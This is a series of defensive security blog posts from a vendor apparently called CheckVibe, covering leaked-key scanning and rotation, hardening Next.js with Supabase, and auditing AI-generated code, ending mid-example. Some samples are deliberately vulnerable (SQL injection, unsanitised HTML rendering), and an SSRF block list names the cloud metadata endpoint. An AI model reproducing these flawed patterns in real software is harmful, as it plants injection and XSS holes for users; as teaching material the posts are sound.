git commit -m "test"
# -> Gitleaks should block this commit
rm test-secret.txt
```

### Using Husky for Node.js Projects

If your project already uses Husky for git hooks, add secret scanning there:

```bash
# Install Gitleaks globally
brew install gitleaks

# Add a pre-commit hook via Husky
npx husky add .husky/pre-commit "gitleaks protect --staged -v"
```

Now every commit is scanned before it is created. The `--staged` flag ensures only the files being committed are checked, keeping the hook fast.

### Bypassing Hooks in Emergencies

If you need to bypass the hook for a legitimate reason (e.g., committing a test fixture with a known false positive), you can use:

```bash
git commit --no-verify -m "commit message"
```

But use this sparingly. A better approach is to add a `.gitleaksignore` file for known false positives:

```
# .gitleaksignore
# Test fixtures with fake keys
tests/fixtures/fake-stripe-key.json:sk_test_
```

## GitHub Secret Scanning Setup

GitHub provides built-in secret scanning for repositories, and it is available for free on all public repositories and for GitHub Advanced Security subscribers on private repositories.

### Enabling Secret Scanning

1. Go to your repository **Settings > Code security and analysis**
2. Enable **Secret scanning**
3. Optionally enable **Push protection** to block pushes that contain detected secrets

### Push Protection

Push protection is the most valuable feature. When enabled, GitHub scans every push before it is accepted and rejects any push that contains a recognized secret pattern. The developer sees an error message explaining which secret was detected and where.

```
remote: -------- Secret scanning push protection --------
remote: Found the following secret in commit abc1234:
remote:
remote:   Stripe API Key: sk_live_51Hx...
remote:   Location: src/lib/payments.ts:15
remote:
remote: To push, remove the secret from your commits.
```

### Custom Secret Patterns

For private repositories with GitHub Advanced Security, you can define custom patterns to catch organization-specific secrets:

1. Go to **Settings > Code security and analysis > Secret scanning > Custom patterns**
2. Add your pattern (e.g., your internal API key format `cvd_live_[a-f0-9]{32}`)
3. GitHub will scan for this pattern across your entire repository

### Secret Scanning Alerts

When a secret is detected in existing code, GitHub creates an alert in the **Security > Secret scanning alerts** tab. Each alert shows:
- The secret type and provider
- The commit and file where it was found
- Whether the secret is still active (for supported providers)
- Remediation steps

For supported providers (including AWS, Stripe, GitHub, and others), GitHub automatically notifies the provider so they can revoke the key -- but you should not rely on this. Always rotate the key yourself immediately.

## Secret Rotation Procedures for Major Providers

When a key leaks, you need to rotate it immediately. Here are step-by-step procedures for the most commonly leaked secrets.

### Stripe

```bash
# 1. Go to https://dashboard.stripe.com/apikeys
# 2. Click "Roll key" next to the compromised key
# 3. You get a grace period where both old and new keys work
# 4. Update your environment variables with the new key
# 5. Deploy the change
# 6. Click "Revoke old key" in the Stripe dashboard
```

Stripe's rolling key feature is particularly useful: the old key continues to work for a configurable period (up to 24 hours) so you can deploy without downtime.

### AWS

```bash
# 1. Create a new access key
aws iam create-access-key --user-name your-iam-user

# 2. Update your environment variables / secrets manager
# 3. Deploy the change
# 4. Verify the new key works

# 5. Deactivate the old key (keeps it for rollback)
aws iam update-access-key --user-name your-iam-user \
  --access-key-id AKIA_OLD_KEY_HERE --status Inactive

# 6. After confirming everything works, delete it
aws iam delete-access-key --user-name your-iam-user \
  --access-key-id AKIA_OLD_KEY_HERE
```

**Important:** After revoking AWS keys, audit CloudTrail logs for unauthorized activity during the exposure window. Check for new IAM users, EC2 instances, or Lambda functions that an attacker may have created.

### Supabase Service Role Key

The Supabase service role key cannot be rotated independently -- it is derived from the project's JWT secret. To rotate it:

1. Go to **Project Settings > API** in the Supabase dashboard
2. Generate a new JWT secret (this invalidates both the anon key and service role key)
3. Update all environment variables that reference either key
4. Redeploy all services (Next.js app, Edge Functions, etc.)

**Warning:** This logs out all users because it invalidates all existing JWTs. Plan for a brief disruption.

### GitHub Personal Access Tokens

```bash
# 1. Go to https://github.com/settings/tokens
# 2. Click "Delete" on the compromised token
# 3. Generate a new token with the same scopes
# 4. Update your CI/CD secrets and local environment
```

Review your repository's **Settings > Security > Audit log** for any unauthorized actions taken with the compromised token.

### SendGrid / Resend

1. Go to your provider's API key management page
2. Delete the compromised key immediately (no grace period)
3. Create a new key with the minimum required scopes
4. Update your environment variables and deploy
5. Check your email sending logs for any unauthorized emails sent during the exposure window

## Best Practices for Key Management

**Use environment variables** — never hardcode keys. Keep them in `.env` files that are gitignored.

**Separate public and secret keys** — understand which keys are safe for the client (Supabase anon key, Stripe publishable key) and which must stay server-side.

**Use server-side API routes** — proxy sensitive API calls through your backend so secret keys never reach the browser.

**Rotate keys regularly** — if a key leaks, you want the exposure window to be as small as possible. Rotate quarterly at minimum.

**Enable key restrictions** — most providers let you restrict keys by IP, domain, or API scope. Use these restrictions.

**Scan continuously** — run automated scans after every deployment. A key that wasn't there yesterday might be there today.

**Use a secrets manager for production.** Environment variables on your local machine and in CI/CD are fine for development, but production secrets should live in a dedicated secrets manager (Vercel Environment Variables, AWS Secrets Manager, HashiCorp Vault, or Doppler). These provide audit trails, automatic rotation, and access control that plain `.env` files cannot. For a comprehensive API security approach, see our [API security checklist](/blog/api-security-checklist).

**Apply the principle of least privilege.** When creating API keys, request only the scopes your application actually needs. A key that can read and write everything is far more dangerous when leaked than one that can only read a specific resource. Most providers (Stripe, GitHub, AWS IAM) support granular permissions -- use them. Our [SaaS security checklist](/blog/saas-security-checklist-before-launch) covers this and other pre-launch essentials.

**Monitor key usage for anomalies.** Most API providers offer usage dashboards. Set up alerts for unusual patterns: spikes in API calls, requests from unexpected IP addresses, or usage outside business hours. These are early indicators of a compromised key.

## How CheckVibe Detects Leaked Keys

CheckVibe scans multiple surfaces simultaneously:

1. **Page source** — HTML source code and inline scripts
2. **JavaScript bundles** — fetches and parses all loaded JS files
3. **Network requests** — monitors API calls for exposed tokens
4. **Meta tags and configs** — checks for keys in page metadata and configuration objects
5. **GitHub integration** — scans your repository for committed secrets

Each detected key is classified by provider, severity, and exposure type, with specific instructions for rotating and securing the key.

For a broader look at securing applications built with AI coding tools, see our guide on [how to secure a vibe-coded app](/blog/how-to-secure-vibe-coded-app).

## FAQ

### How quickly do attackers find leaked keys?

Remarkably fast. Research and real-world incidents consistently show that leaked credentials on public GitHub repositories are discovered and exploited within minutes. Automated bots continuously scan GitHub's public event stream (which broadcasts every push in real time) for patterns matching AWS keys, Stripe secrets, database credentials, and more. In a well-known experiment, an AWS key pushed to a public repository was used to spin up crypto-mining EC2 instances within four minutes. GitHub's own data shows that secrets are typically exploited within an hour of being committed. This is why prevention (pre-commit hooks and push protection) is far more effective than detection after the fact -- by the time you get an alert, the key may already be compromised.

### Can I undo a leaked key?

You cannot undo the leak itself, but you can limit the damage. The moment you discover a leaked key, you must rotate it immediately -- revoke the old key and generate a new one. Do not wait to investigate first; revoke first, then investigate. After revocation, check the provider's logs for any unauthorized activity during the exposure window. If the key was committed to a public git repository, remember that even after you remove it from the current code, it still exists in git history. You should consider the key permanently compromised regardless of whether you rewrite git history. The only effective response is rotation. For git history cleanup (to prevent future rediscovery), use `git filter-repo` to rewrite the repository history, but treat this as a secondary step after the key has been revoked.

### How do I scan git history?

Use TruffleHog or Gitleaks as described in the "Scanning Git History" section above. Both tools scan every commit in your repository's history, not just the current state. For a quick start:

```bash
# TruffleHog -- scans all history, verifies credentials are active
trufflehog git file://. --only-verified

# Gitleaks -- scans all history with pattern matching
gitleaks detect --source . -v
```

For CI/CD integration, run these tools on every pull request to catch secrets before they reach your main branch. Both tools support JSON output for integration with alerting systems. If you only need to check whether a specific string was ever committed, use `git log -p --all -S 'your-secret-string'` -- but the dedicated tools are better for comprehensive scanning because they cover patterns you may not think to search for.

### Are environment variables safe?

Environment variables are safer than hardcoded secrets, but they are not inherently secure. Their safety depends on where and how they are stored:

- **`.env` files on your machine** -- safe as long as the file is gitignored and your machine is not compromised. Never commit `.env` files to version control.
- **CI/CD secrets (GitHub Actions, Vercel, etc.)** -- safe for production use. These are encrypted at rest, access-controlled, and not included in build logs (most providers mask them automatically).
- **`NEXT_PUBLIC_` / `VITE_` / `REACT_APP_` variables** -- NOT safe for secrets. These prefixes explicitly expose the variable to client-side code. Only use them for truly public values like your Supabase anon key or Stripe publishable key.
- **Docker environment variables** -- visible via `docker inspect`. Use Docker secrets or a secrets manager for sensitive values.
- **Server process environment** -- accessible to any code running in the same process. A compromised dependency with access to `process.env` can exfiltrate all your secrets.

The safest approach is to use a dedicated secrets manager (Vercel Environment Variables, AWS Secrets Manager, Doppler) that provides encryption, access control, and audit logging. Treat environment variables as a transport mechanism, not a security boundary.

---

*Don't let API keys be your weakest link. [Scan your site with CheckVibe](https://checkvibe.dev/signup) and find exposed secrets in seconds.*


---

## Securing Next.js + Supabase Apps: A Practical Guide

*A step-by-step guide to securing a Next.js + Supabase app: RLS policies, auth middleware, API route protection, and the pitfalls almost everyone hits.*

Published: 2026-02-15 | Reading time: 16 min read
URL: https://checkvibe.dev/blog/securing-nextjs-supabase-apps


Next.js + Supabase is the most popular stack for indie hackers and small teams in 2026. It's fast to build with, generous on free tiers, and scales well.

But the defaults aren't secure. Here's what you need to fix.

## 1. Enable Row Level Security (RLS) on Every Table

Supabase exposes your database directly via its PostgREST API. Without RLS, anyone with your anon key can read and write any table.

```sql
-- Enable RLS
ALTER TABLE profiles ENABLE ROW LEVEL SECURITY;

-- Users can only read their own profile
CREATE POLICY "Users read own profile"
ON profiles FOR SELECT
USING (id = auth.uid());

-- Users can only update their own profile
CREATE POLICY "Users update own profile"
ON profiles FOR UPDATE
USING (id = auth.uid())
WITH CHECK (id = auth.uid());
```

**Common mistake:** Enabling RLS but forgetting the `WITH CHECK` clause on INSERT/UPDATE policies. Without it, a user could insert a row with someone else's `user_id`.

### RLS Patterns for Common Scenarios

Beyond basic "users see their own data" policies, you'll need patterns for shared resources, team-based access, and public/private data:

```sql
-- Team-based access: users can read rows belonging to their team
CREATE POLICY "Team members read team data"
ON team_documents FOR SELECT
USING (
  team_id IN (
    SELECT team_id FROM team_members
    WHERE user_id = auth.uid()
  )
);

-- Public/private toggle: some rows are public, others are owner-only
CREATE POLICY "Public or own rows"
ON posts FOR SELECT
USING (
  is_public = true OR user_id = auth.uid()
);

-- Admin bypass: allow admins to read all rows
CREATE POLICY "Admins read all"
ON orders FOR SELECT
USING (
  EXISTS (
    SELECT 1 FROM profiles
    WHERE id = auth.uid() AND role = 'admin'
  )
);
```

**Performance tip:** RLS policies execute on every query. Avoid complex subqueries in policies for tables with high read volumes. Index the columns used in your policies (like `user_id`, `team_id`) for best performance.

For a deeper dive into RLS and other Supabase-specific hardening, see our [Supabase security checklist](/blog/supabase-security-checklist).

## 2. Never Expose the Service Role Key

The Supabase service role key bypasses RLS entirely. It should only exist in server-side environment variables.

```bash
# .env.local (server-side only)
SUPABASE_SERVICE_ROLE_KEY=eyJ...

# NEVER prefix with NEXT_PUBLIC_ — that exposes it to the browser
```

If you see `NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY` anywhere in your code, fix it immediately.

### What Happens if the Service Role Key Leaks

If your service role key is exposed in client-side JavaScript, an attacker can:

1. **Read every row** in every table, regardless of RLS policies
2. **Write arbitrary data** to any table, including inserting fake users or modifying billing records
3. **Delete data** from any table without restriction
4. **Call Supabase Auth Admin APIs** to create, delete, or impersonate users
5. **Access Supabase Storage** with full admin privileges

This is a total compromise. If you suspect a leak, rotate the key immediately in Supabase Dashboard > Settings > API and redeploy all server-side services.

## 3. Protect API Routes with Auth Middleware

Every API route that handles user data needs authentication:

```typescript
import { createClient } from '@/lib/supabase/server';

export async function GET(req: NextRequest) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) {
    return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
  }

  // Always scope queries to the authenticated user
  const { data } = await supabase
    .from('projects')
    .select('*')
    .eq('user_id', user.id);

  return NextResponse.json(data);
}
```

**Common mistake:** Using `getSession()` instead of `getUser()`. Sessions can be spoofed from the client. `getUser()` makes a fresh request to Supabase Auth and is the only reliable way to verify identity.

## 4. Session Management with Supabase Auth

Supabase Auth uses PKCE (Proof Key for Code Exchange) for the authentication flow in server-side rendering contexts. Understanding how sessions work helps you avoid common pitfalls.

### Cookie Chunking

Supabase stores the session JWT in cookies. Because JWTs can exceed the 4KB browser cookie limit, the Supabase SSR library chunks the token across multiple cookies:

```
sb-<project-ref>-auth-token.0 = <first 3800 chars>
sb-<project-ref>-auth-token.1 = <remaining chars>
```

This means you cannot simply read `req.cookies.get('sb-xxx-auth-token')` — you need the official `@supabase/ssr` helpers, which handle reassembly automatically.

### Server-Side Session Refresh

Sessions expire. Your server-side Supabase client must be configured to refresh tokens:

```typescript
import { createServerClient } from '@supabase/ssr';
import { cookies } from 'next/headers';

export async function createClient() {
  const cookieStore = await cookies();

  return createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return cookieStore.getAll();
        },
        setAll(cookiesToSet) {
          cookiesToSet.forEach(({ name, value, options }) => {
            cookieStore.set(name, value, options);
          });
        },
      },
    }
  );
}
```

**Key point:** The `setAll` callback is required for token refresh to persist. If you only implement `getAll`, expired sessions will never be renewed and users will be silently logged out.

## 5. Add CSRF Protection

Next.js API routes don't include CSRF protection by default. For session-based auth, validate the `Origin` header:

```typescript
function checkCsrf(req: NextRequest): NextResponse | null {
  if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) return null;

  const origin = req.headers.get('origin');
  const allowed = ['https://yourdomain.com'];

  if (!origin || !allowed.includes(origin)) {
    return NextResponse.json({ error: 'Forbidden' }, { status: 403 });
  }
  return null;
}
```

### Applying CSRF to All Mutating Routes

Don't add CSRF checks ad-hoc — create a wrapper or apply it consistently to every POST, PUT, PATCH, and DELETE handler:

```typescript
// lib/csrf.ts
const ALLOWED_ORIGINS = [
  process.env.NEXT_PUBLIC_SITE_URL,
  // Add staging URLs if needed
].filter(Boolean);

export function validateCsrf(req: NextRequest): NextResponse | null {
  if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) return null;

  const origin = req.headers.get('origin');
  if (!origin || !ALLOWED_ORIGINS.includes(origin)) {
    return NextResponse.json({ error: 'Forbidden' }, { status: 403 });
  }
  return null;
}
```

**Important caveat:** If you support API key authentication (e.g., `Bearer cvd_live_...`), those requests won't have an `Origin` header. You need to skip CSRF checks for API-key-authenticated requests while still enforcing them for cookie-based sessions.

For a comprehensive CSRF guide, see our [CSRF protection guide](/blog/csrf-protection-guide).

## 6. Validate and Sanitize All Input

Never trust data from the client:

```typescript
// Validate types
if (typeof name !== 'string' || name.length > 100) {
  return NextResponse.json({ error: 'Invalid name' }, { status: 400 });
}

// Validate UUIDs
const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
if (!UUID_RE.test(projectId)) {
  return NextResponse.json({ error: 'Invalid ID' }, { status: 400 });
}

// Validate enums against allowlist
const VALID_TYPES = ['supabase', 'firebase', 'convex'];
if (backendType && !VALID_TYPES.includes(backendType)) {
  return NextResponse.json({ error: 'Invalid backend type' }, { status: 400 });
}
```

### Schema Validation with Zod

For complex inputs, use a schema validation library like Zod instead of manual checks:

```typescript
import { z } from 'zod';

const ProjectSchema = z.object({
  name: z.string().min(1).max(100),
  url: z.string().url(),
  backendType: z.enum(['supabase', 'firebase', 'convex']).optional(),
});

export async function POST(req: NextRequest) {
  const body = await req.json();
  const result = ProjectSchema.safeParse(body);

  if (!result.success) {
    return NextResponse.json(
      { error: 'Validation failed', details: result.error.flatten() },
      { status: 400 }
    );
  }

  // result.data is now typed and validated
  const { name, url, backendType } = result.data;
  // ... proceed safely
}
```

## 7. Set Security Headers

Add these in your `next.config.ts` or middleware:

```typescript
const securityHeaders = [
  { key: 'X-Frame-Options', value: 'DENY' },
  { key: 'X-Content-Type-Options', value: 'nosniff' },
  { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
  { key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains; preload' },
  { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
];
```

### Content Security Policy (CSP)

CSP is the most important security header, and also the trickiest to configure with Next.js + Supabase. You need to allow connections to Supabase while blocking everything else:

```typescript
const csp = [
  "default-src 'self'",
  "script-src 'self' 'unsafe-inline' 'unsafe-eval'",  // Next.js needs these for hydration
  `connect-src 'self' https://*.supabase.co https://api.stripe.com`,
  "img-src 'self' data: blob: https:",
  "style-src 'self' 'unsafe-inline'",
  "frame-ancestors 'none'",
].join('; ');
```

**Warning:** Never use `'strict-dynamic'` in CSP without a nonce implementation. In CSP Level 3 browsers, `'strict-dynamic'` nullifies both `'unsafe-inline'` and `'self'`, which breaks all client-side JavaScript in Next.js.

For a complete guide on all security headers, see our [security headers guide](/blog/security-headers-complete-guide).

## 8. Encrypt Sensitive Data at Rest

If you store PATs, API keys, or tokens in your database, encrypt them:

```typescript
import { createCipheriv, createDecipheriv, randomBytes } from 'crypto';

function encrypt(text: string): string {
  const key = Buffer.from(process.env.ENCRYPTION_KEY!, 'hex');
  const iv = randomBytes(12);
  const cipher = createCipheriv('aes-256-gcm', key, iv);
  const encrypted = Buffer.concat([cipher.update(text, 'utf8'), cipher.final()]);
  const tag = cipher.getAuthTag();
  return `enc:${Buffer.concat([iv, tag, encrypted]).toString('base64')}`;
}
```

### When to Use Encryption

Not everything needs application-level encryption. Use it for:

- **Third-party API tokens** stored on behalf of users (e.g., a Supabase PAT, GitHub token)
- **Webhook signing secrets** that users configure
- **OAuth refresh tokens** that grant ongoing access to external services

You do NOT need application-level encryption for:

- **Passwords** — use bcrypt/argon2 hashing instead (one-way, not reversible)
- **Session tokens** — Supabase Auth handles these
- **Data that users need to search on** — you can't run WHERE clauses on encrypted columns

### Key Management

Your `ENCRYPTION_KEY` is the crown jewel. If it leaks, all encrypted data is compromised. Follow these practices:

```bash
# Generate a 256-bit key
openssl rand -hex 32

# Store it ONLY in environment variables — never in code or config files
# Rotate periodically: encrypt new data with new key, re-encrypt old data in a migration
```

Use a prefix like `enc:` to distinguish encrypted values from legacy plaintext. This lets your decryption function handle both gracefully during migration:

```typescript
function decrypt(value: string): string {
  if (!value.startsWith('enc:')) {
    return value; // Legacy plaintext — handle gracefully
  }
  const data = Buffer.from(value.slice(4), 'base64');
  const key = Buffer.from(process.env.ENCRYPTION_KEY!, 'hex');
  const iv = data.subarray(0, 12);
  const tag = data.subarray(12, 28);
  const encrypted = data.subarray(28);
  const decipher = createDecipheriv('aes-256-gcm', key, iv);
  decipher.setAuthTag(tag);
  return decipher.update(encrypted) + decipher.final('utf8');
}
```

## 9. Supabase Storage Security

If your app uses Supabase Storage for file uploads, it needs its own security layer.

### Bucket Policies

Create separate buckets for public and private files. Never mix them:

```sql
-- Public bucket for avatars (anyone can read, only owner can write)
INSERT INTO storage.buckets (id, name, public)
VALUES ('avatars', 'avatars', true);

CREATE POLICY "Anyone can view avatars"
ON storage.objects FOR SELECT
USING (bucket_id = 'avatars');

CREATE POLICY "Users upload their own avatar"
ON storage.objects FOR INSERT
WITH CHECK (
  bucket_id = 'avatars'
  AND auth.uid()::text = (storage.foldername(name))[1]
);
```

### Signed URLs for Private Files

For private files (invoices, exports, reports), use signed URLs with short expiration:

```typescript
const { data } = await supabase.storage
  .from('private-reports')
  .createSignedUrl('report-123.pdf', 300); // 5-minute expiry

// data.signedUrl — give this to the user, it expires automatically
```

**Never serve private files through a public bucket.** Even if the file path is "random," a determined attacker can enumerate or guess paths.

## 10. Database Function Security

Custom database functions (RPCs) in Supabase need careful security configuration.

### Set search_path Explicitly

By default, Postgres functions can be tricked into using a malicious schema if `search_path` is not locked down:

```sql
CREATE OR REPLACE FUNCTION check_project_limit(p_user_id UUID)
RETURNS JSON
LANGUAGE plpgsql
SECURITY DEFINER
SET search_path = public, pg_temp  -- Always set this explicitly
AS $$
DECLARE
  result JSON;
BEGIN
  SELECT json_build_object(
    'allowed', (count(*) < 5),
    'current_count', count(*)
  ) INTO result
  FROM projects
  WHERE user_id = p_user_id;
  RETURN result;
END;
$$;
```

### SECURITY DEFINER vs SECURITY INVOKER

- **SECURITY INVOKER** (default): Function runs with the caller's permissions. RLS policies apply normally.
- **SECURITY DEFINER**: Function runs with the owner's permissions (typically the superuser). RLS is bypassed.

Use `SECURITY DEFINER` only when the function needs to perform actions the caller shouldn't be able to do directly (like incrementing a counter in a table the user can't write to). Always pair it with explicit input validation inside the function, and revoke EXECUTE from roles that shouldn't use it:

```sql
-- Only allow service_role to call this function
REVOKE EXECUTE ON FUNCTION check_project_limit FROM authenticated, anon;
```

## 11. Server Actions Security in Next.js 15+

Next.js Server Actions (the `'use server'` directive) create API endpoints automatically. Every exported async function in a `'use server'` file becomes a publicly callable endpoint.

```typescript
'use server';

import { createClient } from '@/lib/supabase/server';

export async function deleteProject(projectId: string) {
  // ALWAYS validate auth — this is a public endpoint
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) throw new Error('Unauthorized');

  // ALWAYS validate input
  const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
  if (!UUID_RE.test(projectId)) throw new Error('Invalid ID');

  // ALWAYS scope to the authenticated user
  const { error } = await supabase
    .from('projects')
    .delete()
    .eq('id', projectId)
    .eq('user_id', user.id); // Prevents deleting other users' projects

  if (error) throw new Error('Delete failed');
}
```

**Key rule:** Treat every Server Action like a public API route. Never assume that just because it's called from your UI, it's safe — anyone can invoke it directly with a POST request.

## 12. Edge Function Security Patterns

If you use Supabase Edge Functions (Deno), apply these patterns:

### Authenticate Requests with a Shared Secret

```typescript
// supabase/functions/my-function/index.ts
Deno.serve(async (req) => {
  const scannerKey = req.headers.get('x-scanner-key');
  if (scannerKey !== Deno.env.get('SCANNER_SECRET_KEY')) {
    return new Response('Unauthorized', { status: 401 });
  }
  // ... proceed with trusted request
});
```

### Restrict CORS to Your Domain

```typescript
const ALLOWED_ORIGIN = Deno.env.get('ALLOWED_ORIGIN') ?? 'https://yourdomain.com';

const corsHeaders = {
  'Access-Control-Allow-Origin': ALLOWED_ORIGIN,
  'Access-Control-Allow-Headers': 'authorization, x-scanner-key, content-type',
  'Access-Control-Allow-Methods': 'POST, OPTIONS',
};

// Handle preflight
if (req.method === 'OPTIONS') {
  return new Response(null, { headers: corsHeaders });
}
```

### Add Timeouts to External Requests

Edge Functions have a default execution timeout, but individual fetch calls don't. Always add AbortController timeouts:

```typescript
const controller = new AbortController();
const timeout = setTimeout(() => controller.abort(), 15000); // 15 seconds

try {
  const res = await fetch(targetUrl, { signal: controller.signal });
  // ... process response
} catch (err) {
  if (err.name === 'AbortError') {
    return new Response('Upstream timeout', { status: 504 });
  }
  throw err;
} finally {
  clearTimeout(timeout);
}
```

## 13. Prevent SSRF on User-Provided URLs

If your app fetches URLs from user input (webhooks, preview images, scan targets), validate them:

```typescript
function isPrivateIp(hostname: string): boolean {
  // Block localhost, private networks, and cloud metadata endpoints
  const blocked = ['localhost', '127.0.0.1', '169.254.169.254', '0.0.0.0'];
  return blocked.includes(hostname) || hostname.endsWith('.local') || hostname.endsWith('.internal');
}
```

### DNS Rebinding Protection

Simple hostname checks aren't enough. An attacker can set up a DNS record that first resolves to a public IP (passing your check) and then resolves to `127.0.0.1` (hitting your internal network). The fix is to resolve the hostname yourself and validate the resolved IP:

```typescript
import { resolve4 } from 'dns/promises';

async function resolveAndValidateUrl(url: string): Promise<string> {
  const parsed = new URL(url);
  const ips = await resolve4(parsed.hostname);

  for (const ip of ips) {
    if (isPrivateIp(ip)) {
      throw new Error('URL resolves to a private IP address');
    }
  }

  // Replace hostname with resolved IP to prevent rebinding
  parsed.hostname = ips[0];
  return parsed.toString();
}
```

## Quick Security Audit

Before your next deploy, check:

- [ ] RLS enabled on all tables with proper policies
- [ ] Service role key is server-side only
- [ ] All API routes verify auth via `getUser()`
- [ ] CSRF protection on mutating endpoints
- [ ] Input validation on all user-provided data
- [ ] Security headers configured (including CSP)
- [ ] Sensitive data encrypted at rest
- [ ] SSRF protection on URL-fetching features
- [ ] Storage buckets have proper access policies
- [ ] Database functions use explicit `search_path`
- [ ] Server Actions validate auth and input
- [ ] Edge Functions authenticate callers and restrict CORS

Or run an automated scan — tools like CheckVibe check all of the above (and 30 more categories) in under a minute.

For more Next.js-specific security patterns, see our [Next.js security best practices](/blog/nextjs-security-best-practices) guide.

## FAQ

### What's the difference between getSession and getUser?

`getSession()` reads the session from the local cookie or cache without verifying it against the server. This means a malicious client can forge or tamper with the session data. `getUser()` makes a fresh API call to Supabase Auth, which validates the JWT signature and checks that the user still exists and is not banned. Always use `getUser()` on the server side when you need to verify identity for authorization decisions. Use `getSession()` only on the client side for non-sensitive UI display (like showing the user's name).

### Should I use Server Components or Route Handlers for data fetching?

Both are valid, but they have different security profiles. Server Components run only on the server and never expose their logic to the client — they are inherently safer for data fetching. Route Handlers (API routes) create public HTTP endpoints that anyone can call, so they need explicit auth checks, CSRF protection, and input validation. Use Server Components for page-level data loading where the result is rendered as HTML. Use Route Handlers when you need a true API (for client-side fetches, webhooks, or external integrations).

### How do I secure Supabase Edge Functions?

Supabase Edge Functions are deployed with `--no-verify-jwt` by default in many setups, meaning they accept unauthenticated requests. Secure them by: (1) requiring an `x-scanner-key` or `Authorization` header with a shared secret, (2) restricting CORS to your domain using an `ALLOWED_ORIGIN` environment variable, (3) adding timeouts to all external fetch calls with `AbortController`, and (4) validating all input parameters before processing. If the Edge Function accesses your database, use the service role key server-side but never return raw database errors to the caller.

### Is Supabase RLS enough for security?

RLS is a critical layer, but it's not sufficient on its own. RLS protects data at the database level, which is excellent — but you still need: authentication checks in your API routes (to return proper 401/403 responses instead of empty arrays), input validation (RLS won't stop malformed data from being inserted), rate limiting (RLS won't prevent a user from making 10,000 requests per second to their own data), and CSRF protection (RLS doesn't know if the request was initiated by your app or an attacker's page). Think of RLS as your last line of defense, not your only one.

### How do I handle auth in Next.js middleware?

Next.js middleware runs on the Edge Runtime before your routes execute. You can use it to redirect unauthenticated users, but be careful: middleware should only check for the *existence* of a session cookie, not validate it. Full JWT validation requires crypto APIs that may not be available in the Edge Runtime. Use middleware for redirects (e.g., redirect `/dashboard` to `/login` if no session cookie exists), but always re-verify the user with `getUser()` in your actual Route Handlers and Server Components. Never use middleware as your sole auth gate.

---

*Building with Next.js and Supabase? Make sure it's locked down. [Scan your app](https://checkvibe.dev/signup) with CheckVibe and catch misconfigurations in under a minute.*


---

## Vibe Coding and Security: Why AI-Generated Code Needs Auditing

*Cursor, Copilot and Claude ship features fast — and security blind spots with them. What to watch for, and how to audit AI-generated code.*

Published: 2026-02-12 | Reading time: 13 min read
URL: https://checkvibe.dev/blog/vibe-coding-security


"Vibe coding" — the practice of building software primarily through AI assistants — has exploded in popularity. Developers describe their intent in natural language and let tools like Cursor, GitHub Copilot, Windsurf, or Claude write the implementation. It's fast, it's fun, and it lets you ship features in hours instead of days.

But there's a catch: AI-generated code often prioritizes getting things to work over getting things secure.

The numbers are sobering. A 2025 study by Wiz Research found that roughly **20% of AI-generated code snippets contained security vulnerabilities** when tested against common attack vectors. A Stanford University study revealed a "confidence gap" — developers using AI assistants were **more likely to believe their code was secure** while simultaneously producing code with more vulnerabilities than those coding manually. And an analysis of OWASP vulnerability databases shows that up to **45% of the Top 10 web application vulnerabilities** can be directly introduced by AI-generated code patterns, particularly injection flaws, broken access control, and security misconfigurations.

These are not hypothetical risks. They are showing up in production applications right now.

## The Security Blind Spots of AI Code

### Overly Permissive Defaults

AI assistants tend to generate code that works on the first try. That often means:

- CORS set to `*` (allow all origins)
- No rate limiting on API routes
- Permissive CSP headers or none at all
- Database queries without parameterization
- Authentication checks that are incomplete

The code works — but it's wide open.

For example, when you ask an AI assistant to "create an Express API," you are likely to get something like this:

```javascript
// AI-generated: works, but dangerously permissive
const express = require('express');
const cors = require('cors');
const app = express();

app.use(cors()); // Allows ALL origins — any website can call your API
app.use(express.json());

app.post('/api/users', async (req, res) => {
  const { name, email } = req.body; // No input validation
  const user = await db.query(
    `INSERT INTO users (name, email) VALUES ('${name}', '${email}')` // SQL injection!
  );
  res.json(user);
});
```

Every line of this "works" in development. But in production, it is an open invitation for attackers: unrestricted CORS, no input validation, and a textbook SQL injection vulnerability.

### Copy-Paste Patterns From Training Data

AI models learn from public code, which includes plenty of insecure examples. Common patterns that get reproduced:

- Using `eval()` for dynamic behavior
- Storing secrets in client-side code
- SQL string concatenation instead of prepared statements
- Missing input validation on server endpoints
- `dangerouslySetInnerHTML` without sanitization

The problem is that training data includes millions of tutorials, Stack Overflow answers, and hobby projects where security was never a priority. The AI does not distinguish between "this code was written to teach a concept quickly" and "this code is production-ready." It learns patterns and reproduces them.

Consider this React example that AI assistants frequently generate:

```jsx
// AI-generated: renders user content without sanitization
function Comment({ comment }) {
  return (
    <div
      dangerouslySetInnerHTML={{ __html: comment.body }}
    />
  );
}
```

The name `dangerouslySetInnerHTML` is a warning from React itself, yet AI assistants will use it without adding DOMPurify or any other sanitization because the prompt said "render rich text." This is a stored XSS vulnerability — any user who posts a comment containing `<script>` tags can execute arbitrary JavaScript in every other user's browser.

### Missing Security Layers

When you describe a feature to an AI assistant, you typically describe the happy path: "create a form that saves data to the database." You rarely say "also add CSRF protection, rate limiting, input validation, error handling, and audit logging."

AI assistants do what you ask. They rarely add security measures you didn't request.

This creates a systematic problem. Every feature you vibe-code is missing the defensive layers that experienced security engineers would add instinctively. Over the course of a project, this adds up to dozens of unprotected endpoints, each one a potential entry point for attackers.

Here is what a typical AI-generated Next.js API route looks like versus what it should look like:

```typescript
// What AI generates:
export async function POST(request: Request) {
  const { title, content } = await request.json();
  const post = await db.insert(posts).values({ title, content });
  return Response.json(post);
}

// What it should generate:
export async function POST(request: Request) {
  // 1. Authenticate the user
  const session = await getSession(request);
  if (!session) return new Response('Unauthorized', { status: 401 });

  // 2. Validate CSRF token
